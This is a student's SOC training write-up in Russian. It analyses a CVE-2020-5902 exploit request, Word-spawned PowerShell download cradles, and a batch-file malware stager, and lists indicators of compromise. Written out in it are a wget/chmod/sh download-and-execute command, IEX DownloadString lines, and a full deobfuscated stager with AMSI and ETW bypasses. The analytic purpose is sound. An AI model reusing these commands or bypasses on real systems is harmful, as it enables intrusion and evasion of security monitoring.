# 1. Мониторинг ИБ. Работа специалиста SOC
### Кузенков Никита Алексеевич
### Task 1
В файле task1.txt привёден текст HTTP-запроса.
1. Опишите, что происходит (чего добиваются атакующие).
2. Выделите признаки, по которым понятно, что происходит атака.
3. Выделите IoС'и, которые могут быть использованы для выявления подобной активности в будущем.
4. Укажите, каким образом можно удостовериться в том, удалось ли атакующим достигнуть того, чего они добивались этим запросом.
---
1) Взглянув на запрос можно заметить что данные передаются в сжатом формате `Accept-Encoding: gzip, deflate` с помощью билиботеки requsts (что означает что запрос был отправлен с помощью машины а не человека) `User-Agent: python-requests/2.25.1`
После декодирование url несколько раз картина становится яснее
`/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=wget+http://136.144.41.3+igipdmcdmsklcmk%2ohsitsvegawellrip.sh+;+chmod+777+ohsitsvegawellrip.sh+;+sh+ohsitsvegawellrip.sh+;+wget+https://https:%2%2iplogger.org"FGVP5`
Не уверен это я не так конвертировал или в урле изначально были ошибки, но примерная суть ясна
`/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?`
Эта строчка говорит нам о том что злоумышленники патыются воспользоваться CVE-2020-5902 (какое совпадение, что нашел эту уязвимость Михаил Ключников из Positive Technologies :D) для продуктов F5, а в частности BIG-IP
`/..;/` - с помощью этой конструкции злоумышлиники обходят авторизацию и попоадют в родительскую деррикторию
`tmshCmd.jsp` - запуск командной строки
`wget+http://136.144.41.3+igipdmcdmsklcmk%2ohsitsvegawellrip.sh+;` - скачиваем некий скрипт
Хост создан 2021-03-02T14:14:32Z
`chmod+777+ohsitsvegawellrip.sh+;` - меняем права (чтение запись исполненения для кого угодно, жуткий ред флаг)
`sh+ohsitsvegawellrip.sh+;` - выполняем скрипт
`wget+https://https:%2%2iplogger.org"FGVP5` - скичиваем что-то еще, iplogger сервис по созданирю коротких ссылок, хотел проверить ссылку что тут получилась но мне выдало 404
Вернемся с скрипту, один запрос гугла уже кричит нам что это вредонос
https://www.joesandbox.com/analysis/461914/0/html - полное описание атаки с данным скриптом
2) 1) Установление постоянного соединения с сервером *с помощью Python*
2) Скачивание скрипта
3) Присовение скрипту прав 777
4) Выполнение скрипта
5) Скачивание файла через короткую ссылку
3) 1) Использование http для скачивания файлов
2) Запуск процессов
3) Повышение доступа chmod
4) Если рассматривать проблему СVE то фильтровать `/..;/`, тк без этой конструкции ничего не сработает
5) Фильтровать Юзер Агентов
4) 1. Можно посмотреть логи запуска процессов и выяснить что затрагивал скрипт
2. Можно скачать скрипт в сендбокс, проанализировать его и понять что хотели сделать злоумышленники
3. Ну и конечно лучше залесть в респонс и посмотреть что там
### Task 2
В файле task2.md приведен скриншот события из журнала аудита Windows.
1. Что подозрительного в событии?
2. С какой целью реализовано?
---
1) 1) Код явно обфусцирован
2) В обфусцированном коде можно найти такие слова как DownloadString, Net.WebClient, Invoke-Expression, http, что говорит о поптыке скачивания и запуска (вредоносного) ПО с удаленного сервера
3) Также можно заметить массив с конвертацией в строку, что может быть тоже обходом защиты
2. С учетом вышесказанного целью является загрузка файла или скрипта и его выполнение
### Task 3
В файле task3.evtx содержатся события журнала аудита Windows.
1. Что в этих событиях является подозрительным?
2. Какие признаки указанных событий на это указывают?
3. Какие IoC'и можно выделить из этих событий?
4. Опишите подробно суть подозрительных действий в системе, зафиксированных в этом журнале.
---
1) 1) Powershell запустился после открытия Word

2) Запуск PowerShell от обычного пользователя
3) После скачивания сразу же начинается выполнение скрипта
2. 1) PowerShell запускается с флагами hidden и encodedCommand
После декодинга видим `IEX (New-Object System.Net.WebClient).DownloadString('http://omni-consumer-pr0ducts.tk/favicon.ico');` - скачивание иконки по http так еще название сайта подражает одной из реальных компаний https://en.wikipedia.org/wiki/Omni_Consumer_Products_(company)
2) PowerShell запускается из SysWOW64 (странно запускать 32 битную версию пш если у тебя есть 64)
3. 1) Использование http для скачивания файлов
2) Запуск процессов от обычного пользователя, которые не связаны с обычным пользователем (PowerShell)
3) Родительский процесс Powershell это MSWORD
4. 1) Пользователь открывает ворд файл
2) Запускается процесс пш родителем которого является открытие ворд фала
3) Происходит скачивание по http файла с подозритльеного сайта
4) После скачивания начинаются выполняться скрипты
### Task 4
В файле event.json приведено корреляционное событие на основе событий журнала аудита Windows.
1. Что произошло на узле?
2. С помощью чего это удалось добиться?
3. Если есть, то укажите адрес C&C и порт.
---
1) На узле larteshina.plat.form запустился скрипт в скрытом окне, действие проведено над аккаунтом
Посмотрим что было в закодированной строке PowerShell
Тк двойные кавычки почему то превратились в одинарные написал еще вот такие 2 строчки
```
n = input()
print(n.replace("\'\'", "\""))
```
Обанружим GzipStream и еще одну строку base64

Далее с помощью онлайн компилятора PowerShell можем обнаружить еще один кусок кода который скрывался в Gzip

Гугл всему голова, статья по полному разбору этого кода, только чтоб дефендер его не детектил автор еще ксорит байты декодированной строки base64
https://mez0.cc/posts/cobaltstrike-powershell-exec/
2. C помощью декодированной строки в PowerShell, которая в свою очередь представляля код в котором тоже были закодированные данные, которые уже и были вредоносмым скриптом, такая вот матрешка
3. Данные удалены
### Task 5
В SOC одной компании обратился пользователь, обеспокоенный странными процессами Powershell, которые он обнаружил в диспетчере задач. В ходе расследования специалистам удалось получить информацию об одном из подозрительных PS-скриптов, выполнявшихся на его компьютере (см. файл command.txt)
Определите:
1. К какому семейству принадлежит данное ВПО?
2. Перечислите имена всех файлов, которые могли быть загружены на компьютер с помощью данного скрипта.
TIP: Поисковиком можно пользоваться
---
Первая строчка гугла
https://vms.drweb.ru/virus/?i=21358063

### Task 6
Некий пользователь решил скачать архив с "супер крутой игрой". Внутри лежал bat-файл, который пользователь спокойно запустил.
В файле Log.txt приведена выдержка из событий журнала аудита Windows, связанных с указанными действиями.
Опишите, что же на самом деле произошло на компьтере пользователя.
Укажите необходимые подробности и признаки, по которым можно выявлять подобную активность, а так же необходимые данные для осуществления мер по реагированию.
---
Напишем парсер чтоб читать было легче и отсортируем логи по времени
```
def parse(string):
answ =''
tabs = 0
for letter in string:
if letter == "{":
tabs += 1
answ += '\n' + '\t' * tabs + letter + '\n' + '\t' * tabs
elif letter == "}":
answ += '\n' + '\t' * tabs + letter
tabs -= 1
else:
answ += letter
return answ
with open("Log.txt", 'r') as f, open('xd1.txt', 'w') as wr:
logs = {}
for line in f.readlines():
date, log = line.split(',', 1)
if date in logs:
logs[date] += [log]
else:
logs[date] = [log]
for _, v in sorted(logs.items()):
wr.write(parse(str(v)))
f.close()
wr.close()
```
1) Юзер vpupkin скачал архив super-cool-game.zip с помощью гугл хрома обращаясь к айп 172.16.222.11


2) Вероятно разархивируется батник и меняется время создания батника


3) Батник запускается

4) Батник запустили от имени админа
`"Culture":"en-US","Message":"A new process has been created.\\r\\n\\r\\nCreator Subject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-1129291328-2819992169-918366777-1182\\r\\n\\tAccount Name:\\t\\tvpupkin\\r\\n\\tAccount Domain:\\t\\tTESTLAB\\r\\n\\tLogon ID:\\t\\t0x1468322\\r\\n\\r\\nTarget Subject:\\r\\n\\tSecurity ID:\\t\\tS-1-0-0\\r\\n\\tAccount Name:\\t\\t-\\r\\n\\tAccount Domain:\\t\\t-\\r\\n\\tLogon ID:\\t\\t0x0\\r\\n\\r\\nProcess Information:\\r\\n\\tNew Process ID:\\t\\t0xdcc\\r\\n\\tNew Process Name:\\tC:\\\\Windows\\\\System32\\\\cmd.exe\\r\\n\\tToken Elevation Type:\\tTokenElevationTypeLimited (3)\\r\\n\\tCreator Process ID:\\t0xc38\\r\\n\\tProcess Command Line:\\tC:\\\\Windows\\\\system32\\\\cmd.exe /c \\"\\"C:\\\\Users\\\\vpupkin\\\\Desktop\\\\l1.bat\\" \\"\\r\\n\\r\\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\\r\\n\\r\\nType 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\\r\\n\\r\\nType 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\\r\\n\\r\\nType 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.","Level":"Information","Task":"Process Creation","Opcode":"Info","Channel":"Security","Provider":"Microsoft Windows security auditing.","Keywords":
`
5) Выполняется команда PowerShell
`"text":"\\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\" -nol -nop -ep bypass \\"[IO.File]::ReadAllText(\'C:\\\\Users\\\\vpupkin\\\\Desktop\\\\l1.bat\')|iex\\" ","Name":"CommandLine"`
6) PowerShell

Идем декодить
Получаем скрипт для скачивания вредоносного файла
```
If($PSVersiONTaBle.PSVerSIOn.MaJOr -GE 3){
$REf=[ReF].ASsembly.GeTTYPE('System.Management.Automation.Amsi'+'Utils');
$REf.GEtFieLD('amsiInitF'+'ailed','NonPublic,Static').SeTVALuE($nuLl,$TruE);
[System.Diagnostics.Eventing.EventProvider]."GetFie`ld"('m_e'+'nabled','Non'+'Public,'+'Instance').SetValue([Ref].Assembly.GetType('Syste'+'m.Management.Automation.Tracing.PSE'+'twLogProvider')."GetFie`ld"('et'+'wProvider','NonPub'+'lic,S'+'tatic').GetValue($null),0);
};
[SYsTeM.NEt.SERVicEPOINtMAnAGEr]::EXPEcT100ConTinUE=0;
$5b316=NeW-ObJEct SYSTeM.Net.WEBCLiENT;
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$ser=$([TexT.EncodINg]::UNicODe.GeTStRINg([CoNvERt]::FromBaSe64STrIng('aAB0AHQAcAA6AC8ALwAxADcAMgAuADEANgAuADIAMgAyAC4AMQAxADoANAAzADIAMQA=')));
$t='/admin/get.php';
$5b316.HeADerS.ADD('User-Agent',$u);
$5B316.Proxy=[SYsTEm.Net.WEBREQUeST]::DeFaulTWEbPROXy;$5B316.PROxy.CrEDenTIAlS = [SysTEM.NEt.CredEntIAlCache]::DEfAULTNETWorkCREDEntIalS;
$Script:Proxy = $5b316.Proxy;
$K=[SYsteM.TEXt.EncOdiNG]::ASCII.GETByteS('bk]2()mgP!0@sf3VlXa,SIG|%8on<rD#');
$R={$D,$K=$Args;
$S=0..255;
0..255|%{$J=($J+$S[$_]+$K[$_%$K.COUNT])%256;
$S[$_],$S[$J]=$S[$J],$S[$_]};
$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];
$_-bxor$S[($S[$I]+$S[$H])%256]}};
$5B316.HEAdeRS.ADd("Cookie","azkGFw=ly2r9xiUrZfcSUzwyVSFZZdZowM=");
$DatA=$5b316.DoWNlOaDDaTA($ser+$T);
$Iv=$DAta[0..3];$DAtA=$daTa[4..$DAtA.LeNgtH];
-jOiN[CHar[]](& $R $Data ($IV+$K))|IEX
```
Полный юрл http://172.16.222.11:4321/admin/get.php
С учетом того что тут прокидываются куки то просто так до этого сервера не достать
Whois говорит нам о том что это локалхост
Гугл всему голова - https://www.joesandbox.com/analysis/236543/0/html
7) Далее в логах видны пайплайны создания соедениения для скачивания этого файла